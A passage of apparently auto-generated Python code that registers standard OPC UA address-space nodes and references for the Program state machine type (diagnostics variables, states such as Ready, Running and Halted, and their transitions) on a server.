attrs.DisplayName = ua.LocalizedText("InstanceCount")
attrs.DataType = ua.NodeId(ua.ObjectIds.UInt32)
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2397")
node.BrowseName = ua.QualifiedName.from_string("MaxInstanceCount")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2391")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("MaxInstanceCount")
attrs.DataType = ua.NodeId(ua.ObjectIds.UInt32)
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2398")
node.BrowseName = ua.QualifiedName.from_string("MaxRecycleCount")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2391")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("MaxRecycleCount")
attrs.DataType = ua.NodeId(ua.ObjectIds.UInt32)
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2399")
node.BrowseName = ua.QualifiedName.from_string("ProgramDiagnostics")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2391")
node.ReferenceTypeId = ua.NodeId.from_string("i=47")
node.TypeDefinition = ua.NodeId.from_string("i=2380")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("ProgramDiagnostics")
attrs.DataType = ua.NodeId.from_string("i=894")
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2399")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=3840")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2399")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=3841")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2399")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=3842")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2399")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=3843")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2399")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=3844")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2399")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=3845")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2399")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=3846")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2399")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=3847")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2399")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=3848")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2399")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=3849")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=2399")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=80")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=3840")
node.BrowseName = ua.QualifiedName.from_string("CreateSessionId")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2399")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("CreateSessionId")
attrs.DataType = ua.NodeId(ua.ObjectIds.NodeId)
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=3840")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=3841")
node.BrowseName = ua.QualifiedName.from_string("CreateClientName")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2399")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("CreateClientName")
attrs.DataType = ua.NodeId(ua.ObjectIds.String)
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=3841")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=3842")
node.BrowseName = ua.QualifiedName.from_string("InvocationCreationTime")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2399")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("InvocationCreationTime")
attrs.DataType = ua.NodeId.from_string("i=294")
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=3842")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=3843")
node.BrowseName = ua.QualifiedName.from_string("LastTransitionTime")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2399")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("LastTransitionTime")
attrs.DataType = ua.NodeId.from_string("i=294")
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=3843")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=3844")
node.BrowseName = ua.QualifiedName.from_string("LastMethodCall")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2399")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("LastMethodCall")
attrs.DataType = ua.NodeId(ua.ObjectIds.String)
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=3844")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=3845")
node.BrowseName = ua.QualifiedName.from_string("LastMethodSessionId")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2399")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("LastMethodSessionId")
attrs.DataType = ua.NodeId(ua.ObjectIds.NodeId)
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=3845")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=3846")
node.BrowseName = ua.QualifiedName.from_string("LastMethodInputArguments")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2399")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("LastMethodInputArguments")
attrs.DataType = ua.NodeId.from_string("i=296")
attrs.ValueRank = 1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=3846")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=3847")
node.BrowseName = ua.QualifiedName.from_string("LastMethodOutputArguments")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2399")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("LastMethodOutputArguments")
attrs.DataType = ua.NodeId.from_string("i=296")
attrs.ValueRank = 1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=3847")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=3848")
node.BrowseName = ua.QualifiedName.from_string("LastMethodCallTime")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2399")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("LastMethodCallTime")
attrs.DataType = ua.NodeId.from_string("i=294")
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=3848")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=3849")
node.BrowseName = ua.QualifiedName.from_string("LastMethodReturnStatus")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2399")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("LastMethodReturnStatus")
attrs.DataType = ua.NodeId.from_string("i=299")
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=3849")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=3850")
node.BrowseName = ua.QualifiedName.from_string("FinalResultData")
node.NodeClass = ua.NodeClass.Object
node.ParentNodeId = ua.NodeId.from_string("i=2391")
node.ReferenceTypeId = ua.NodeId.from_string("i=47")
node.TypeDefinition = ua.NodeId.from_string("i=58")
attrs = ua.ObjectAttributes()
attrs.DisplayName = ua.LocalizedText("FinalResultData")
attrs.EventNotifier = 0
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=3850")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=80")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2400")
node.BrowseName = ua.QualifiedName.from_string("Ready")
node.NodeClass = ua.NodeClass.Object
node.ParentNodeId = ua.NodeId.from_string("i=2391")
node.ReferenceTypeId = ua.NodeId.from_string("i=47")
node.TypeDefinition = ua.NodeId.from_string("i=2307")
attrs = ua.ObjectAttributes()
attrs.Description = ua.LocalizedText("The Program is properly initialized and may be started.")
attrs.DisplayName = ua.LocalizedText("Ready")
attrs.EventNotifier = 0
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2400")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2401")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2401")
node.BrowseName = ua.QualifiedName.from_string("StateNumber")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2400")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("StateNumber")
attrs.DataType = ua.NodeId(ua.ObjectIds.UInt32)
attrs.Value = ua.Variant(1, ua.VariantType.UInt32)
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=2401")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2402")
node.BrowseName = ua.QualifiedName.from_string("Running")
node.NodeClass = ua.NodeClass.Object
node.ParentNodeId = ua.NodeId.from_string("i=2391")
node.ReferenceTypeId = ua.NodeId.from_string("i=47")
node.TypeDefinition = ua.NodeId.from_string("i=2307")
attrs = ua.ObjectAttributes()
attrs.Description = ua.LocalizedText("The Program is executing making progress towards completion.")
attrs.DisplayName = ua.LocalizedText("Running")
attrs.EventNotifier = 0
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2402")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2403")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2403")
node.BrowseName = ua.QualifiedName.from_string("StateNumber")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2402")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("StateNumber")
attrs.DataType = ua.NodeId(ua.ObjectIds.UInt32)
attrs.Value = ua.Variant(2, ua.VariantType.UInt32)
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=2403")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2404")
node.BrowseName = ua.QualifiedName.from_string("Suspended")
node.NodeClass = ua.NodeClass.Object
node.ParentNodeId = ua.NodeId.from_string("i=2391")
node.ReferenceTypeId = ua.NodeId.from_string("i=47")
node.TypeDefinition = ua.NodeId.from_string("i=2307")
attrs = ua.ObjectAttributes()
attrs.Description = ua.LocalizedText("The Program has been stopped prior to reaching a terminal state but may be resumed.")
attrs.DisplayName = ua.LocalizedText("Suspended")
attrs.EventNotifier = 0
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2404")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2405")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2405")
node.BrowseName = ua.QualifiedName.from_string("StateNumber")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2404")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("StateNumber")
attrs.DataType = ua.NodeId(ua.ObjectIds.UInt32)
attrs.Value = ua.Variant(3, ua.VariantType.UInt32)
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=2405")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2406")
node.BrowseName = ua.QualifiedName.from_string("Halted")
node.NodeClass = ua.NodeClass.Object
node.ParentNodeId = ua.NodeId.from_string("i=2391")
node.ReferenceTypeId = ua.NodeId.from_string("i=47")
node.TypeDefinition = ua.NodeId.from_string("i=2307")
attrs = ua.ObjectAttributes()
attrs.Description = ua.LocalizedText("The Program is in a terminal or failed state, and it cannot be started or resumed without being reset.")
attrs.DisplayName = ua.LocalizedText("Halted")
attrs.EventNotifier = 0
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2406")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2407")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2407")
node.BrowseName = ua.QualifiedName.from_string("StateNumber")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2406")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("StateNumber")
attrs.DataType = ua.NodeId(ua.ObjectIds.UInt32)
attrs.Value = ua.Variant(4, ua.VariantType.UInt32)
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=2407")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2408")
node.BrowseName = ua.QualifiedName.from_string("HaltedToReady")
node.NodeClass = ua.NodeClass.Object
node.ParentNodeId = ua.NodeId.from_string("i=2391")
node.ReferenceTypeId = ua.NodeId.from_string("i=47")
node.TypeDefinition = ua.NodeId.from_string("i=2310")
attrs = ua.ObjectAttributes()
attrs.DisplayName = ua.LocalizedText("HaltedToReady")
attrs.EventNotifier = 0
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2408")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2409")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=51")
ref.SourceNodeId = ua.NodeId.from_string("i=2408")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2406")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=52")
ref.SourceNodeId = ua.NodeId.from_string("i=2408")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2400")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=53")
ref.SourceNodeId = ua.NodeId.from_string("i=2408")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2430")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=54")
ref.SourceNodeId = ua.NodeId.from_string("i=2408")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2378")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2409")
node.BrowseName = ua.QualifiedName.from_string("TransitionNumber")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2408")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("TransitionNumber")
attrs.DataType = ua.NodeId(ua.ObjectIds.UInt32)
attrs.Value = ua.Variant(1, ua.VariantType.UInt32)
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=2409")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2410")
node.BrowseName = ua.QualifiedName.from_string("ReadyToRunning")
node.NodeClass = ua.NodeClass.Object
node.ParentNodeId = ua.NodeId.from_string("i=2391")
node.ReferenceTypeId = ua.NodeId.from_string("i=47")
node.TypeDefinition = ua.NodeId.from_string("i=2310")
attrs = ua.ObjectAttributes()
attrs.DisplayName = ua.LocalizedText("ReadyToRunning")
attrs.EventNotifier = 0
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2410")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2411")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=51")
ref.SourceNodeId = ua.NodeId.from_string("i=2410")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2400")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=52")
ref.SourceNodeId = ua.NodeId.from_string("i=2410")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2402")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=53")
ref.SourceNodeId = ua.NodeId.from_string("i=2410")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2426")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=54")
ref.SourceNodeId = ua.NodeId.from_string("i=2410")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2378")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2411")
node.BrowseName = ua.QualifiedName.from_string("TransitionNumber")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2410")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("TransitionNumber")
attrs.DataType = ua.NodeId(ua.ObjectIds.UInt32)
attrs.Value = ua.Variant(2, ua.VariantType.UInt32)
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=2411")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2412")
node.BrowseName = ua.QualifiedName.from_string("RunningToHalted")
node.NodeClass = ua.NodeClass.Object
node.ParentNodeId = ua.NodeId.from_string("i=2391")
node.ReferenceTypeId = ua.NodeId.from_string("i=47")
node.TypeDefinition = ua.NodeId.from_string("i=2310")
attrs = ua.ObjectAttributes()
attrs.DisplayName = ua.LocalizedText("RunningToHalted")
attrs.EventNotifier = 0
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2412")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2413")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=51")
ref.SourceNodeId = ua.NodeId.from_string("i=2412")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2402")
refs.append(ref)
